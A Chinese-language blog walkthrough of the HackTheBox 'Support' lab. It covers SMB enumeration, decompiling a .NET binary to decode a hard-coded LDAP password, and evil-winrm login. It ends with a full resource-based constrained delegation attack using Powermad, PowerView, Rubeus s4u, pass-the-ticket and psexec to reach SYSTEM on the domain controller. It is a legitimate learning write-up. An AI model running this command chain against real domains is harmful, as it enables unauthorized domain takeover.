freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

hackthebox靶机Support
2023-03-11 14:34:09
所属地 海外

一、端口扫描

老规矩,还是先扫描下靶机端口,看看开放了那些服务

nmap -sV -sC -sS -p 1-10000 10.10.11.174

Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-07 22:14 EST
Nmap scan report for support.htb (10.10.11.174)
Host is up (0.17s latency).
Not shown: 9987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open domain       Simple DNS Plus
88/tcp   open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-08 03:15:11Z)
135/tcp open msrpc         Microsoft Windows RPC
139/tcp open netbios-ssn   Microsoft Windows netbios-ssn
389/tcp open ldap         Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap         Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf       .NET Message Framing
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-03-08T03:15:23
|_ start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_   Message signing enabled and required
|_clock-skew: -11s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.49 seconds

可以看到靶机上开放了不少端口,而且可以看到这是一台windows的机器,并且存在一个support.htb的域。这里它开放了445端口,我们可以看看是否有可利用的共享文件。

二、445端口利用

smbclient -N  -L  //10.10.11.174
-N 不询问密码
-L 显示分享的所有文件

image-20230305104158293

这里有个support-tools的文件夹看起来和这个靶机有点关系,我们进去看看有什么文件

smbclient -N    //10.10.11.174/support-tools

image-20230305104414061

发现有个UserInfo.exe.zip的文件,这文件名感觉像是什么敏感文件,总之,下载下来看看

get UserInfo.exe.zip    //获取压缩包
uzip UserInfo.exe.zip //解压
file UserInfo.exe //linux下没办法运行exe文件,先查看下文件类型
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

image-20230305105723695

这个文件是用.net编写的。因此,对于linux下的exe文件,我们有两种思路,一种是反编译,还有就是使用wine来执行它。下面我使用反编译的方式。

三、dnspy反编译

工具的下载地址在Releases · dnSpy/dnSpy (github.com)

我们打开需要反编译的exe文件,发现了getpassword方法

image-20230307202729041

跟进方法,发现了一个原始密码,和加密方法

using System;
using System.Text;

namespace UserInfo.Services
{
// Token: 0x02000006 RID: 6
internal class Protected
{
// Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
public static string getPassword()
{
byte[] array = Convert.FromBase64String(Protected.enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
}
return Encoding.Default.GetString(array2);
}

// Token: 0x04000005 RID: 5
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

// Token: 0x04000006 RID: 6
private static byte[] key = Encoding.ASCII.GetBytes("armando");
}
}

image-20230307203028508

加密的过程比较简单,先将原始的密钥base64解密。然后再将解密后的每一位分别与key和223异或,其中key=armando

下面利用python解密

#coding=utf-8
import base64
array = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key=b"armando"
array2=''
for i in range(len(array)):
array2+=chr(array[i] ^ key[i % len(key)]^223)

print(array2)

得到解密后的字符串,这应该就是我们需要的密码

nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

四、LDAP

1.ldap

LDAP(Lightweight Directory Access Protocol,轻量目录访问协议)是用来访问目录服务数据库的一个协议。活动目录就是利用LDAP名称路径来描述对象在活动目录中的位置的。

DN(Distinguished Name,绝对可辨识名称):指向一个LDAP对象的完整路径。DN由对象本地开始,向上延伸到域顶级的DNS命名空间。CN代表通用名(common name),OU代表组织单位(organization name),DC代表域组件(domain component)。

可以理解成 DC 是最高的,叫做域名,基本上所有的 ldap 服务都会至少有一个 DC。在 DC 下一级就会有一个 OU,OU 可以理解为一个组织单元,我们可以有多个组织单元。你可以在组织单元中组织用户组,也可以在组织单元中组织用户,你还可以在组织单元中组织组织单元。在 OU 下面就是 CN 了,可以理解是 CN 就是一个具体的实例了,比如说一个具体的用户。所以要定位一个实例,那么路径就是 CN - OU - DC,你可能会有多个 OU,多个 DC,但是最后都会定位到最高一级的 DC,这长串字符串放到一起,就是 DN 了。

2.连接ladp

在获取到密码后,接下来我们就可以尝试连接ldap服务器了,首先我们需要在kali上安装一个工具来帮助我们连接,使用方法也可参考官方文档The ldapsearch Command-Line Tool

apt-get install ldap-utils

接着使用ldapsearch命令连接ladp服务器,其中 -b:指定搜索的DC

ldapsearch -H ldap://10.10.11.174:389  -D ldap@support.htb -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "Administrator"

image-20230308091901523

image-20230308101749009

当连接到LDAP服务器时,bindDN可以绑定到LADP内部的对象,并提供查看和编辑LDAP服务器中对象的权限。

另一方面,域组件可以被认为是LDAP中的目录结构。它们从右到左读取,并指示服务器在何处查找以及为我们获取哪些对象。在本例中,我们指示服务器转到htb域组件,找到支持域组件,然后搜索其内的任何名称为Administrator的对象。上述命令返回大量数据,这意味着连接成功。

3.ladp图形化界面

为了在连接到ladp服务器后能更直观的操作。我们可以下载一个图形化操作工具https://directory.apache.org/studio/,Apache Directory Studio 被设计用来和各种LDAP服务器进行交互操作,提供了一个使用方便的客户端操作平台。

image-20230308115255160

  • 新建ladp连接,输入连接名和域名,之后点击下一步

    image-20230308115809000

  • 按要求输入binddn和之前获得的密码后点击check看是否能连接成功,成功后点击完成

    image-20230308120355341

  • 这样就算连接成功了

    image-20230308121015819

接着我们在users下面找到一个support的用户,它有一个info标签(非默认标签),结合之前我们获取的ldap的密码形式,我们可以推测它可能也是密码

Ironside47pleasure40Watchful

image-20230308121800772

还可以发现它是远程管理用户组的成员,这意味着它还可以远程登录

image-20230308122936274

不想使用图形化界面的也可以使用下面这个命令查询

ldapsearch -x -H ldap://support.htb -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=Users,DC=support,DC=htb"


五、远程登录

我们使用evil-winrm登录,详细介绍在evil-winrm | Kali Linux Tools,官方文档GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting

  • WinRM是什么? WinRM = Windows Remote Management,即Windows远程管理,以下简称WinRM。

  • Evil-WinRM shell介绍 此shell是用于渗透测试的终极WinRM shell。WinRM(Windows远程管理)一种标准的基于SOAP的协议,允许来自不同供应商的硬件和操作系统进行互操作。此程序可以在任何启用此功能的Windows服务器上使用(通常在端口5985),当然,只有当你有使用它的凭据和权限时。因此,我们可以说,它可以用于后开发黑客攻击/渗透测试阶段。这个程序的目的是为黑客提供好的、易于使用的特性。它也可以被系统管理员合法地使用,但是它的大部分功能都集中在黑客攻击/渗透测试工具上。

gem install evil-winrm   安装命令

接着使用获取到的密码登录

evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i support.htb

image-20230308171457857

然后在C:\Users\Support\Desktop目录获得user.txt

六、提权

1.域信息收集

我们可以通过通常预装在域控制器上的Active Directory powershell模块获取有关域的更多信息,Get-ADDomain会提供有关当前计算机所在域的一些信息。

image-20230308221004579

不难发现,机器(dc.support.htb)其实是support.htb机器的域控。我们将它添加到hosts文件

echo '10.10.11.174 dc.support.htb' |  tee -a /etc/hosts

image-20230308221619426

再看下当前用户属于哪些组

whoami /groups

image-20230308224339182

2.资源约束委派攻击

(1)原理

在现实情况下,往往多个服务器不可能在同一台机器中,那么用户在使用服务A时,这时候需要服务B上属于自己的数据,最简单的方式就是A代用户去请求B返回相应的信息,这个过程就是委派。委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。

基于资源的约束委派是windows server 2012中加入的功能,与传统约束委派相比,不需要域管理员权限去设置相关属性,而是将设置委派的权限交给了服务机器。服务机器在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性,就可以进行基于资源的约束委派了。所以只要你获得的用户对该主机的属性具有写权限,那么这个用户就可以对该主机进行攻击。

msDS-AllowedToActOnBehalfOfOtherIdentity是Windows Server中的一个安全设置,用于指定哪些用户或组可以代表其他用户进行身份验证,它的属性值一般是SID。举个简单的例子,假设有一个应用程序,它需要访问某个文件夹中的内容。但是,这个文件夹只允许某个特定的用户(例如"User1")访问。如果当前登录的用户不是"User1",系统就会拒绝访问请求。但是,如果系统允许某个代理用户(例如"ProxyUser")代表"User1"进行身份验证,那么"ProxyUser"就可以成功地访问该文件夹中的内容。在这个例子中,设置msDS-AllowedToActOnBehalfOfOtherIdentity的值为"ProxyUser"的SID,就可以允许"ProxyUser"代表"User1"进行身份验证,从而访问该文件夹中的内容。

注意,基于资源的约束委派的S4U2self阶段的ST(TGS票据)是不可转发的(在约束委派中,它是可以转发的)。可以发现,基于资源的约束委派重点是msDS-AllowedToActOnBehalfOfOtherIdentity属性的设置,所以可分为以下方式。

  • 如果可以修改服务机器的该属性,将其更新为可控制的SPN(Service Principal Name,服务器主体名称,是服务器所运行服务的唯一标识)账户SID,就可以伪造任意用户获得该服务机器的相关权限,从而实现变相提权。

  • 利用realy攻击。

简而言之,通过基于资源的约束委派攻击,我们可以将一台受我们控制的计算机添加到域中;通过调用此计算机,并配置域控制器(DC)以允许我们控制的计算机代表它行事。然后,通过代表DC行事,我们可以请求此计算机的Kerberos票证,并能够模拟域上的高权限用户,比如administrator。生成Kerberos票证后,我们可以传递票证(ptt)并作为此高权限用户进行身份验证,从而使我们能够控制整个域。

但有三个条件

  • 我们需要作为属于Authenticated Users组的域用户执行命令或代码。默认情况下,此组的任何成员最多可以向域添加10台计算机。

  • ms-ds-machineaccountquota属性必须大于0。此属性控制经过身份验证的域用户可以添加到域的计算机数量。

  • 我们的当前用户或用户所属的组需要对加入域的计算机(在本例中为域控)具有写的权限(GenericAll、WriteDACL、GenericWrite、WriteProperty等等权限都是可以修改账户属性的)

从前面的信息收集中,我们知道support用户是Authenticated Users组和Shared support Accounts组的成员。我们还知道Shared support Accounts组对域控制器(dc.Support.htb)具有完全控制权限(GenericAll),也就意味着能修改账户属性,从而实现基于资源的约束委派。

查看域中的关系可以使用工具 BloodHound,同样验证support这个用户对dc.support.htb是否具有写权限,也可以使用这两条命令查看

Get-DomainUser -Identity {当前用户名} -Properties objectsid
Get-DomainObjectAcl -Identity {要查询是否具有写入权限的用户名} | ?{$_.SecurityIdentifier -match "{查询对象的sid}"}


(3)利用

我们现在还需要的是一个具有SPN的账户,因为S4U2Self只适用于具有SPN的账户,在域中有一个属性MachineAccountQuota,这个值表示的是允许用户在域中创建的计算机帐户数,默认为10,这意味着我们如果拥有一个普通的域用户那么我们就可以利用这个用户最多可以创建十个新的计算机帐户。而计算机账户默认是注册RestrictedKrbHost/domain和HOST/domain这两个SPN的,于是达到了进行基于资源的约束委派的攻击条件。

让我们查看下ms-ds-machineaccountquota属性值,即允许用户在域中创建的计算机账户个数,默认为10

Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

image-20230309111057466

接下来,让我们验证msds-allowedtoactonbehalfofotheridentity的属性值是否为空。为此,我们需要PowerShell的PowerView模块(PowerSploit/PowerView.ps1 at master · PowerShellMafia/PowerSploit · GitHub)。我们可以通过Evil WinRM将其上载到服务器。然后使用以下命令导入它。

git clone https://github.com/PowerShellMafia/PowerSploit.git  //下载
cp PowerSploit/Recon/PowerView.ps1 ./                         //复制到当前目录
upload /var/www/PowerView.ps1                                 //上传文件
import-module ./PowerView.ps1 //导入模块

image-20230309143823228

导入模块后,我们就能使用 Get-DomainComputer来查询信息了

Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity

image-20230309144135524

该值为空,接下来要准备执行资源约束委派攻击了,但我们还需要一些工具:

PowerMadGitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools

RubeusGitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.

如果不想自行编译Rubeus,可以下载已经编译好的非官方版本

GitHub - r3motecontrol/Ghostpack-CompiledBinaries: Compiled Binaries for Ghostpack (.NET v4.0)

下载下来后用evil-winrm上传,并且需要将PowerMad模块导入powershell。

upload /var/www/Powermad.ps1
import-module ./Powermad.ps1

image-20230309151529279

接下来,让我们创建一台假计算机并将其添加到域中。我们可以使用PowerMad的 New-MachineAccount 来实现这一点

New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)

image-20230309151920925

上述命令将名为FAKE-COMP01,密码为Password123的计算机添加到域中。我们可以使用以下命令验证下这台新机器是否添加成功。

Get-ADComputer -identity FAKE-COMP01

image-20230309152146726

(4)资源约束委派配置

接下来,我们需要通过两种方式之一配置基于资源的受限委派。我们能通过内置的PowerShell Active Directory模块来设置FAKE-COMP01的PrincipalsAllowedToDelegateToAccount值,它将自动配置msdsallowedtoactonbehalfofotheridentity 的属性,或者我们可以使用PowerView模块直接设置msds-allowedtoactonbehalfofotheridentity 的属性。下面我们使用第一种方式。

Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$

为了验证该命令是否有效,我们可以使用Get-ADCocumere命令。

Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount

image-20230309155510716

PrincipalsAllowedToDelegateToAccount是Windows中的一个安全设置,用于指定哪些用户或组可以将用户凭据委派给指定的账户,当PrincipalsAllowedToDelegateToAccount被设置为FAKE-COMP01时,说明命令生效了。我们还可以验证下msds-allowedtoactonbehalfofotheridentity的值。

Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity

image-20230309155731589

正如我们看到的那样,msds-allowedtoactonbehalfofotheridentity属性有了值,但是msds-allowedtoactonbehalfofotheridentity属性的值是表示安全描述符的字节数组,所以是不能直接使用字符串型,否则会出现约束冲突的情况,所以我们必须将字节转换为字符串。

首先,我们获取所需的值并将它赋值给RawBytes变量

$RawBytes = Get-DomainComputer DC -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity

然后,让我们将这些字节转换为一个原始的安全描述符对象。

$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0

最后,我们可以打印整个安全描述符,以及DiscretionaryAcl类,它表示访问控制列表,指定可以代表DC操作的机器。

$Descriptor
$Descriptor.DiscretionaryAcl

image-20230309160932211

从输出中,我们可以看到SecurityIdentifier被设置为前面看到的FAKE-COMP01的SID,AceType被设置为AccessAllowed

注:

  • SecurityIdentifier,简称SID,是Windows中用于唯一标识用户、组、计算机等安全主体的一个值。它由一个域SID和一个相对标识符(RID)组成,其中域SID标识了安全主体所属的域,而RID则是在该域内唯一标识该安全主体的数字。

  • AceType是Windows中的一个安全属性,用于标识访问控制项(ACE)的类型。ACE是Windows中用于控制对资源的访问的一种机制,它定义了哪些安全主体(用户、组或计算机)可以访问资源,以及访问方式和权限等信息。AceType属性是ACE中的一个重要组成部分,用于指定ACE的类型。其中AccessAllowed表示允许安全主体访问资源。

(5)S4U攻击

接下来我们可以使用Rubeus通过S4U攻击来代表administrator获得Kerberos票证。

首先,我们需要刚才创建的用户的密码hash值,同样需要把Rubeus上传上去

upload /var/www/Rubeus.exe

利用rubeus计算创建的SPN账户的hash值

./Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb

image-20230309204512426

我们需要获取rc4_hmac的值。然后可以为管理员生成Kerberos票证。

rc4_hmac             : 58A478135A93AC3BF058A5EA0E8FDB71

利用rubeus伪造S4U请求申请CIFS服务的ST即可访问CIFS服务,即利用FAKE-COMP01$的hash请求白银票据并导入到当前会话中

./rubeus.exe s4u /user:FAKE-COMP01$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt

image-20230309204714512

可以看到Rubeus已经成功生成了Kerberos票证,并且是base64编码的。我们选择最后一段base64解码。

base64 -d base64 > ticket.kirbi  //base64是我保存base64字符串的文件名

最后,我们可以将票据转换成impacket可以利用的方式,可以用impacket套件中的TicketConverter.py来实现

GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.

python ticketConverter.py ticket.kirbi ticket.ccache

image-20230309210755951

然后使用psexec.py去获取shell

KRB5CCNAME=ticket.ccache ./psexec.py support.htb/administrator@dc.support.htb -k -no-pass

image-20230309211310887

成功获取到system权限

最后在C:\Users\Administrator\Desktop目录下取得root.txt

七、总结

support是一台easy难度(官方定义)的靶机,但是对于不熟悉域渗透这方面的人来说应该还是挺难的(比如我)。首先我们通过SMB文件共享获取到了一个exe文件。通过反编译程序得到一个密码,然后我们使用得到的密码去连接ldap服务器,为了方便,我这里使用了一个叫Apache Directory Studio的图形化界面,当然你也可以选择使用命令行的方式。之后在用户列表中标识了一个名为support的用户,并且发现info字段包含他的密码,然后通过evil-WinRM连接到计算机。在连接计算机上之后,我们发现这里是存在域环境的。所以接着我们就收集了一些域环境信息,并尝试通过资源约束委派攻击提权,最终拿到system权限。

其实这台靶机我也有很多不会的地方,比如资源委派提权那部分。所以属于是边打边学了哈哈。写的不好的地方麻烦大佬指点一下,十分感谢。

八、参考及工具

域渗透——Kerberos委派攻击 - 先知社区 (aliyun.com)

域渗透——基于资源的约束委派利用 - 先知社区 (aliyun.com)

Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory | Shenanigans Labs

evil-winrm | Kali Linux Tools

HackTheBox Support - Cx330Lm - 博客园 (cnblogs.com)

Evil-WinRM:用于渗透测试的终极Windows远程管理shell - 体验盒子 - 不再关注网络安全 (uedbox.com)

PowerSploit/PowerView.ps1 at master · PowerShellMafia/PowerSploit · GitHub

GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting

GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools

GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools

GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.

GitHub - r3motecontrol/Ghostpack-CompiledBinaries: Compiled Binaries for Ghostpack (.NET v4.0)

GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.

# web安全 # 域渗透 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录